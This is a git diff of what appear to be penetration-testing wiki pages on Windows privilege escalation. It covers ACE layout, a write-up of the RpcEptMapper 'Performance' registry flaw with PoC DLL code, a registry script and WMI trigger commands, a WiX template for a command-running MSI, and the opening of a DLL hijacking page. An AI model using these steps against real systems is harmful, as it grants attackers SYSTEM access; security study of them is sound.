+An object-specific ACE can apply to any individual property of an object or to a set of properties for that object. This type of ACE is used only in an ACL for Active Directory objects, which, unlike other object types, store most of their information in properties. It is often desirable to place independent controls on each property of an Active Directory object, and object-specific ACEs make that possible.
+
+For example, when you define permissions for a User object, you can use one object-specific ACE to allow Principal Self \(that is, the user\) Write access to the Phone-Home-Primary \(homePhone\) property, and you can use other object-specific ACEs to deny Principal Self access to the Logon-Hours \(logonHours\) property and other properties that set restrictions on the user account.
+
+The table below shows the layout of each ACE.
+
+### Access Control Entry Layout
+
+| ACE Field | Description |
+| :--- | :--- |
+| Type | Flag that indicates the type of ACE. Windows 2000 and Windows Server 2003 support six types of ACE: Three generic ACE types that are attached to all securable objects. Three object-specific ACE types that can occur for Active Directory objects. |
+| Flags | Set of bit flags that control inheritance and auditing. |
+| Size | Number of bytes of memory that are allocated for the ACE. |
+| Access mask | 32-bit value whose bits correspond to access rights for the object. Bits can be set either on or off, but the setting's meaning depends on the ACE type. For example, if the bit that corresponds to the right to read permissions is turned on, and the ACE type is Deny, the ACE denies the right to read the object's permissions. If the same bit is set on but the ACE type is Allow, the ACE grants the right to read the object's permissions. More details of the Access mask appear in the next table. |
+| SID | Identifies a user or group whose access is controlled or monitored by this ACE. |
+
+### Access Mask Layout
+
+| Bit \(Range\) | Meaning | Description/Example |
+| :--- | :--- | :--- |
+| 0 - 15 | Object Specific Access Rights | Read data, Execute, Append data |
+| 16 - 22 | Standard Access Rights | Delete, Write ACL, Write Owner |
+| 23 | Can access security ACL |  |
+| 24 - 27 | Reserved |  |
+| 28 | Generic ALL \(Read, Write, Execute\) | Everything below |
+| 29 | Generic Execute | All things necessary to execute a program |
+| 30 | Generic Write | All things necessary to write to a file |
+| 31 | Generic Read | All things necessary to read a file |
+
+## References
+
+* [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm)
+* [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
+
diff --git a/windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
new file mode 100644
index 00000000000..5b7c3e85b36
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
@@ -0,0 +1,341 @@
+# AppendData/AddSubdirectory permission over service registry
+
+**Information copied from** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)\*\*\*\*
+
+According to the output of the script, the current user has some write permissions on two registry keys:
+
+* `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
+* `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
+
+Let’s manually check the permissions of the `RpcEptMapper` service using the `regedit` GUI. One thing I really like about the _Advanced Security Settings_ window is the _Effective Permissions_ tab. You can pick any user or group name and immediately see the effective permissions that are granted to this principal without the need to inspect all the ACEs separately. The following screenshot shows the result for the low privileged `lab-user` account.
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02_regsitry-rpceptmapper-permissions.png)
+
+Most permissions are standard \(e.g.: `Query Value`\) but one in particular stands out: `Create Subkey`. The generic name corresponding to this permission is `AppendData/AddSubdirectory`, which is exactly what was reported by the script:
+
+```text
+Name              : RpcEptMapper
+ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
+User              : NT AUTHORITY\NetworkService
+ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
+IdentityReference : NT AUTHORITY\Authenticated Users
+Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
+Status            : Running
+UserCanStart      : True
+UserCanRestart    : False
+
+Name              : RpcEptMapper
+ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
+User              : NT AUTHORITY\NetworkService
+ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
+IdentityReference : BUILTIN\Users
+Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
+Status            : Running
+UserCanStart      : True
+UserCanRestart    : False
+```
+
+What does this mean exactly? It means that we cannot just modify the `ImagePath` value for example. To do so, we would need the `WriteData/AddFile` permission. Instead, we can only create a new subkey.
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03_registry-imagepath-access-denied.png)
+
+Does it mean that it was indeed a false positive? Surely not. Let the fun begin!
+
+### RTFM <a id="rtfm"></a>
+
+At this point, we know that we can create arbirary subkeys under `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper` but we cannot modify existing subkeys and values. These already existing subkeys are `Parameters` and `Security`, which are quite common for Windows services.
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04_registry-rpceptmapper-config.png)
+
+Therefore, the first question that came to mind was: _is there any other predefined subkey - such as `Parameters` and `Security`- that we could leverage to effectively modify the configuration of the service and alter its behavior in any way?_
+
+To answer this question, my initial plan was to enumerate all existing keys and try to identify a pattern. The idea was to see which subkeys are _meaningful_ for a service’s configuration. I started to think about how I could implement that in PowerShell and then sort the result. Though, before doing so, I wondered if this registry structure was already documented. So, I googled something like `windows service configuration registry site:microsoft.com` and here is the very first [result](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree) that came out.
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05_google-search-registry-services.png)
+
+Looks promising, doesn’t it? At first glance, the documentation did not seem to be exhaustive and complete. Considering the title, I expected to see some sort of tree structure detailing all the subkeys and values defining a service’s configuration but it was clearly not there.
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06_doc-registry-services.png)
+
+Still, I did take a quick look at each paragraph. And, I quickly spotted the keywords “_**Performance**_” and “_**DLL**_”. Under the subtitle “**Perfomance**”, we can read the following:
+
+> **Performance**: _A key that specifies information for optional performance monitoring. The values under this key specify **the name of the driver’s performance DLL** and **the names of certain exported functions in that DLL**. You can add value entries to this subkey using AddReg entries in the driver’s INF file._
+
+According to this short paragraph, one can theoretically register a DLL in a driver service in order to monitor its performances thanks to the `Performance` subkey. **OK, this is really interesting!** This key doesn’t exist by default for the `RpcEptMapper` service so it looks like it is _exactly_ what we need. There is a slight problem though, this service is definitely not a driver service. Anyway, it’s still worth the try, but we need more information about this “_Perfomance Monitoring_” feature first.
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07_sc-qc-rpceptmapper.png)
+
+> **Note:** in Windows, each service has a given `Type`. A service type can be one of the following values: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)` or `SERVICE_INTERACTIVE_PROCESS (256)`.
+
+After some googling, I found this resource in the documentation: [Creating the Application’s Performance Key](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key).
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08_performance-subkey-documentation.png)
+
+First, there is a nice tree structure that lists all the keys and values we have to create. Then, the description gives the following key information:
+
+* The `Library` value can contain **a DLL name or a full path to a DLL**.
+* The `Open`, `Collect`, and `Close` values allow you to specify **the names of the functions** that should be exported by the DLL.
+* The data type of these values is `REG_SZ` \(or even `REG_EXPAND_SZ` for the `Library` value\).
+
+If you follow the links that are included in this resource, you’ll even find the prototype of these functions along with some code samples: [Implementing OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata).
+
+```text
+DWORD APIENTRY OpenPerfData(LPWSTR pContext);
+DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
+DWORD APIENTRY ClosePerfData();
+```
+
+I think that’s enough with the theory, it’s time to start writing some code!
+
+### Writing a Proof-of-Concept <a id="writing-a-proof-of-concept"></a>
+
+Thanks to all the bits and pieces I was able to collect throughout the documentation, writing a simple Proof-of-Concept DLL should be pretty straightforward. But still, we need a plan!
+
+When I need to exploit some sort of DLL hijacking vulnerability, I usually start with a simple and custom log helper function. The purpose of this function is to write some key information to a file whenever it’s invoked. Typically, I log the PID of the current process and the parent process, the name of the user that runs the process and the corresponding command line. I also log the name of the function that triggered this log event. This way, I know which part of the code was executed.
+
+In my other articles, I always skipped the development part because I assumed that it was more or less obvious. But, I also want my blog posts to be beginner-friendly, so there is a contradiction. I will remedy this situation here by detailing the process. So, let’s fire up Visual Studio and create a new “_C++ Console App_” project. Note that I could have created a “_Dynamic-Link Library \(DLL\)_” project but I find it actually easier to just start with a console app.
+
+Here is the initial code generated by Visual Studio:
+
+```c
+#include <iostream>
+
+int main()
+{
+    std::cout << "Hello World!\n";
+}
+```
+
+Of course, that’s not what we want. We want to create a DLL, not an EXE, so we have to replace the `main` function with `DllMain`. You can find a skeleton code for this function in the documentation: [Initialize a DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll).
+
+```c
+#include <Windows.h>
+
+extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
+{
+    switch (reason)
+    {
+    case DLL_PROCESS_ATTACH:
+        Log(L"DllMain"); // See log helper function below
+        break;
+    case DLL_THREAD_ATTACH:
+        break;
+    case DLL_THREAD_DETACH:
+        break;
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
+```
+
+In parallel, we also need to change the settings of the project to specify that the output compiled file should be a DLL rather than an EXE. To do so, you can open the project properties and, in the “**General**” section, select “**Dynamic Library \(.dll\)**” as the “**Configuration Type**”. Right under the title bar, you can also select “**All Configurations**” and “**All Platforms**” so that this setting can be applied globally.
+
+Next, I add my custom log helper function.
+
+```c
+#include <Lmcons.h> // UNLEN + GetUserName
+#include <tlhelp32.h> // CreateToolhelp32Snapshot()
+#include <strsafe.h>
+
+void Log(LPCWSTR pwszCallingFrom)
+{
+    LPWSTR pwszBuffer, pwszCommandLine;
+    WCHAR wszUsername[UNLEN + 1] = { 0 };
+    SYSTEMTIME st = { 0 };
+    HANDLE hToolhelpSnapshot;
+    PROCESSENTRY32 stProcessEntry = { 0 };
+    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
+    BOOL bResult = FALSE;
+
+    // Get the command line of the current process
+    pwszCommandLine = GetCommandLine();
+
+    // Get the name of the process owner
+    GetUserName(wszUsername, &dwPcbBuffer);
+
+    // Get the PID of the current process
+    dwProcessId = GetCurrentProcessId();
+
+    // Get the PID of the parent process
+    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
+    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
+        do {
+            if (stProcessEntry.th32ProcessID == dwProcessId) {
+                dwParentProcessId = stProcessEntry.th32ParentProcessID;
+                break;
+            }
+        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
+    }
+    CloseHandle(hToolhelpSnapshot);
+
+    // Get the current date and time
+    GetLocalTime(&st);
+
+    // Prepare the output string and log the result
+    dwBufSize = 4096 * sizeof(WCHAR);
+    pwszBuffer = (LPWSTR)malloc(dwBufSize);
+    if (pwszBuffer)
+    {
+        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
+            st.wHour,
+            st.wMinute,
+            st.wSecond,
+            dwProcessId,
+            dwParentProcessId,
+            wszUsername,
+            pwszCommandLine,
+            pwszCallingFrom
+        );
+
+        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
+
+        free(pwszBuffer);
+    }
+}
+```
+
+Then, we can populate the DLL with the three functions we saw in the documentation. The documentation also states that they should return `ERROR_SUCCESS` if successful.
+
+```c
+DWORD APIENTRY OpenPerfData(LPWSTR pContext)
+{
+    Log(L"OpenPerfData");
+    return ERROR_SUCCESS;
+}
+
+DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
+{
+    Log(L"CollectPerfData");
+    return ERROR_SUCCESS;
+}
+
+DWORD APIENTRY ClosePerfData()
+{
+    Log(L"ClosePerfData");
+    return ERROR_SUCCESS;
+}
+```
+
+Ok, so the project is now properly configured, `DllMain` is implemented, we have a log helper function and the three required functions. One last thing is missing though. If we compile this code, `OpenPerfData`, `CollectPerfData` and `ClosePerfData` will be available as internal functions only so we need to **export** them. This can be achieved in several ways. For example, you could create a [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) file and then configure the project appropriately. However, I prefer to use the `__declspec(dllexport)` keyword \([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)\), especially for a small project like this one. This way, we just have to declare the three functions at the beginning of the source code.
+
+```c
+extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
+extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
+extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
+```
+
+If you want to see the full code, I uploaded it [here](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12).
+
+Finally, we can select _**Release/x64**_ and “_**Build the solution**_”. This will produce our DLL file: `.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`.
+
+### Testing the PoC <a id="testing-the-poc"></a>
+
+Before going any further, I always make sure that my payload is working properly by testing it separately. The little time spent here can save a lot of time afterwards by preventing you from going down a rabbit hole during a hypothetical debug phase. To do so, we can simply use `rundll32.exe` and pass the name of the DLL and the name of an exported function as the parameters.
+
+```text
+C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
+```
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/09_test-poc-rundll32.gif)
+
+Great, the log file was created and, if we open it, we can see two entries. The first one was written when the DLL was loaded by `rundll32.exe`. The second one was written when `OpenPerfData` was called. Looks good! ![:slightly\_smiling\_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png)
+
+```text
+[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
+[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
+```
+
+Ok, now we can focus on the actual vulnerability and start by creating the required registry key and values. We can either do this manually using `reg.exe` / `regedit.exe` or programmatically with a script. Since I already went through the manual steps during my initial research, I’ll show a cleaner way to do the same thing with a PowerShell script. Besides, creating registry keys and values in PowerShell is as easy as calling `New-Item` and `New-ItemProperty`, isn’t it? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png)
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10_powershell-new-item-access-denied.png)
+
+`Requested registry access is not allowed`… Hmmm, ok… It looks like it won’t be that easy after all. ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png)
+
+I didn’t really investigate this issue but my guess is that when we call `New-Item`, `powershell.exe` actually tries to open the parent registry key with some flags that correspond to permissions we don’t have.
+
+Anyway, if the built-in cmdlets don’t do the job, we can always go down one level and invoke DotNet functions directly. Indeed, registry keys can also be created with the following code in PowerShell.
+
+```text
+[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
+```
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/11_powershell-dotnet-createsubkey.png)
+
+Here we go! In the end, I put together the following script in order to create the appropriate key and values, wait for some user input and finally terminate by cleaning everything up.
+
+```text
+$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
+
+Write-Host "[*] Create 'Performance' subkey"
+[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
+Write-Host "[*] Create 'Library' value"
+New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
+Write-Host "[*] Create 'Open' value"
+New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
+Write-Host "[*] Create 'Collect' value"
+New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
+Write-Host "[*] Create 'Close' value"
+New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
+
+Read-Host -Prompt "Press any key to continue"
+
+Write-Host "[*] Cleanup"
+Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
+Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
+Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
+Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
+[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
+```
+
+The last step now, **how do we trick the RPC Endpoint Mapper service into loading our Performace DLL?** Unfortunately, I haven’t kept track of all the different things I tried. It would have been really interesting in the context of this blog post to highlight how tedious and time consuming research can sometimes be. Anyway, one thing I found along the way is that you can query _Perfomance Counters_ using WMI \(_Windows Management Instrumentation_\), which isn’t too surprising after all. More info here: [_WMI Performance Counter Types_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types).
+
+> _Counter types appear as the CounterType qualifier for properties in_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _classes, and as the CookingType qualifier for properties in_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _classes._
+
+So, I first enumerated the WMI classes that are related to _Performace Data_ in PowerShell using the following command.
+
+```text
+Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
+```
+
+![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/12_powershell-get-wmiobject.gif)
+
+And, I saw that my log file was created almost right away! Here is the content of the file.
+
+```text
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
+```
+
+I expected to get arbitary code execution as `NETWORK SERVICE` in the context of the `RpcEptMapper` service at most but, it looks like I got a much better result than anticipated. I actually got arbitrary code execution in the context of the `WMI` service itself, which runs as `LOCAL SYSTEM`. How amazing is that?! ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png)
+
+> **Note:** if I had got arbirary code execution as `NETWORK SERVICE`, I would have been just a token away from the `LOCAL SYSTEM` account thanks to the trick that was demonstrated by James Forshaw a few months ago in this blog post: [Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html).
+
+I also tried to get each WMI class separately and I observed the exact same result.
+
+```text
+Get-WmiObject Win32_Perf
+Get-WmiObject Win32_PerfRawData
+Get-WmiObject Win32_PerfFormattedData
+```
+
+### Conclusion <a id="conclusion"></a>
+
+I don’t know how this vulnerability has gone unnoticed for so long. One explanation is that other tools probably looked for full write access in the registry, whereas `AppendData/AddSubdirectory` was actually enough in this case. Regarding the “misconfiguration” itself, I would assume that the registry key was set this way for a specific purpose, although I can’t think of a concrete scenario in which users would have any kind of permissions to modify a service’s configuration.
+
+I decided to write about this vulnerability publicly for two reasons. The first one is that I actually made it public - without initially realizing it - the day I updated my PrivescCheck script with the `GetModfiableRegistryPath` function, which was several months ago. The second one is that the impact is low. It requires local access and affects only old versions of Windows that are no longer supported \(unless you have purchased the Extended Support…\). At this point, if you are still using Windows 7 / Server 2008 R2 without isolating these machines properly in the network first, then preventing an attacker from getting SYSTEM privileges is probably the least of your worries.
+
+Apart from the anecdotal side of this privilege escalation vulnerability, I think that this “Perfomance” registry setting opens up really interesting opportunities for post exploitation, lateral movement and AV/EDR evasion. I already have a few particular scenarios in mind but I haven’t tested any of them yet. To be continued?…
+
diff --git a/windows/windows-local-privilege-escalation/create-msi-with-wix.md b/windows/windows-local-privilege-escalation/create-msi-with-wix.md
new file mode 100644
index 00000000000..c488d779709
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/create-msi-with-wix.md
@@ -0,0 +1,55 @@
+# Create MSI with WIX
+
+**Tutorial copied from** [**https://0xrick.github.io/hack-the-box/ethereal/\#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)  
+In order to create the msi we will use [wixtools](http://wixtoolset.org/) , you can use other msi builders but they didn’t work for me.  
+Check [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) for some wix msi usage examples.  
+We will create an msi that executes our lnk file :
+
+```markup
+<?xml version="1.0"?>
+<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
+<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
+Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
+<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
+<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
+<Directory Id="TARGETDIR" Name="SourceDir">
+<Directory Id="ProgramFilesFolder">
+<Directory Id="INSTALLLOCATION" Name="Example">
+<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
+</Component>
+</Directory>
+</Directory>
+</Directory>
+<Feature Id="DefaultFeature" Level="1">
+<ComponentRef Id="ApplicationFiles"/>
+</Feature>
+<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
+<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
+Impersonate="yes"/>
+<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
+fail_here
+</CustomAction>
+<InstallExecuteSequence>
+<Custom Action="Stage1" After="InstallInitialize"></Custom>
+<Custom Action="Stage2" Before="InstallFiles"></Custom>
+</InstallExecuteSequence>
+</Product>
+</Wix>
+```
+
+ We will use `candle.exe` from wixtools to create a wixobject from `msi.xml`
+
+```markup
+candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
+```
+
+![](https://0xrick.github.io/images/hackthebox/ethereal/65.png)
+
+Then we will use `light.exe` to create the msi file from the wixobject:
+
+```markup
+light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
+```
+
+![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
+
diff --git a/windows/windows-local-privilege-escalation/dll-hijacking.md b/windows/windows-local-privilege-escalation/dll-hijacking.md
new file mode 100644
index 00000000000..d7c74805665
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/dll-hijacking.md
@@ -0,0 +1,201 @@
+# Dll Hijacking
+
+## Definition
+
+First of all, let’s get the definition out of the way. DLL hijacking is, in the broadest sense, **tricking a legitimate/trusted application into loading an arbitrary DLL**. Terms such as _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ and _DLL Side-Loading_ are often -mistakenly- used to say the same.
+
+Dll hijacking can be used to **execute** code, obtain **persistence** and **escalate privileges**. From those 3 the **least probable** to find is **privilege escalation** by far. However, as this is part of the privilege escalation section, I will focus on this option. Also, note that independently of the goal, a dll hijacking is perform the in the same way.
+
+### Types
+
+There is a **variety of approaches** to choose from, with success depending on how the application is configured to load its required DLLs. Possible approaches include:
+
+1. **DLL replacement**: replace a legitimate DLL with an evil DLL. This can be combined with _DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)\], which ensures all functionality of the original DLL remains intact.
+2. **DLL search order hijacking**: DLLs specified by an application without a path are searched for in fixed locations in a specific order \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)\]. Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL. This sometimes includes the working directory of the target application.
+3. **Phantom DLL hijacking**: drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)\].
+4. **DLL redirection**: change the location in which the DLL is searched for, e.g. by editing the `%PATH%` environment variable, or `.exe.manifest` / `.exe.local` files to include the folder containing the evil DLL \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)\] .
+5. **WinSxS DLL replacement**: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often referred to as DLL side-loading \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)\].
+6. **Relative path DLL Hijacking:** copy \(and optionally rename\) the legitimate application to a user-writeable folder, alongside the evil DLL. In the way this is used, it has similarities with \(Signed\) Binary Proxy Execution \[[8](https://attack.mitre.org/techniques/T1218/)\]. A variation of this is \(somewhat oxymoronically called\) ‘_bring your own LOLbin_’ \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)\] in which the legitimate application is brought with the evil DLL \(rather than copied from the legitimate location on the victim’s machine\).
+
+## Finding missing Dlls
+
+The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**:
+
+![](../../.gitbook/assets/image%20%28292%29.png)
+
+![](../../.gitbook/assets/image%20%28147%29.png)
+
+and just show the **File System Activity**:
+
+![](../../.gitbook/assets/image%20%2896%29.png)
+
+If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.  
+If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" "&lt;exec name&gt;", execute it, and stop capturing events**.
+
+## Exploiting Missing Dlls
+
+In order to escalate privileges, the best chance we have is to be able to **write a dll that a privilege process will try to load** in some of **place where it is going to be searched**. Therefore, we will be able to **write** a dll in a **folder** where the **dll is searched before** the folder where the **original dll** is \(weird case\), or we will be able to **write on some folder where the dll is going to be searched** and the original **dll doesn't exist** on any folder.
+
+### Dll Search Order
+
+**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
+
+In general, a **Windows application** will use **pre-defined search paths to find DLL's** and it will check these paths in a specific order. DLL hijacking usually happens by placing a malicious DLL in one of these folders while making sure that DLL is found before the legitimate one. This problem can be mitigated by having the application specify absolute paths to the DLL's that it needs.
+
+You can see the **DLL search order on 32-bit** systems below:
+
+1. The directory from which the application loaded.
